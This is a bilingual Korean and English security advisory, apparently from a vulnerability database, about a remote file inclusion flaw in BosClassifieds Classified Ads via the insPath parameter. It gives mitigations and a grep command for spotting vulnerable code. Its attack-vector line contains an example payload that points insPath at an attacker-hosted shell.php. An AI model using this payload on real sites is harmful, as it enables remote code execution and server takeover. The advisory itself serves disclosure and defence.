🇰🇷 한글 설명
BosClassifieds Classified Ads의 여러 PHP 파일(index.php, recent.php, account.php, classified.php, search.php)에서 insPath 매개변수를 통한 원격 파일 포함(RFI) 취약점이 존재합니다. 공격자가 insPath에 원격 파일 경로를 입력하면 임의의 PHP 코드가 서버에서 실행될 수 있습니다.
💡 쉬운 설명
BosClassifieds 웹사이트의 여러 페이지에서 파일 경로를 안전하게 검증하지 않는 문제가 있습니다. 공격자가 악의적인 파일 주소를 입력하면 그 파일의 코드가 서버에서 실행되어 웹사이트를 완전히 제어할 수 있게 됩니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in BosClassifieds Classified Ads allow remote attackers to execute arbitrary PHP code via a URL in the insPath parameter to (1) index.php, (2) recent.php, (3) account.php, (4) classified.php, or (5) search.php.
📍 영향받는 시스템
BosClassifieds Classified Ads (구버전, 2006년 이전)
⚔️ 공격 벡터
index.php, recent.php, account.php, classified.php, search.php의 insPath 매개변수에 원격 파일 경로 입력 (예: ?insPath=http://attacker.com/shell.php)
🛡️ 대응 방법
insPath 및 모든 파일 경로 매개변수에 대한 엄격한 입력 검증 구현, allow_url_include 비활성화, BosClassifieds 최신 버전으로 업그레이드
🔧 검증 코드
insPath 매개변수 사용 코드가 발견되면 해당 파일에서 입력 검증 및 경로 정규화 함수(basename, dirname, realpath) 사용 여부를 확인해야 합니다.
grep -r "insPath" /var/www/html 2>/dev/null | grep -v "basename\|dirname\|realpath" | head -3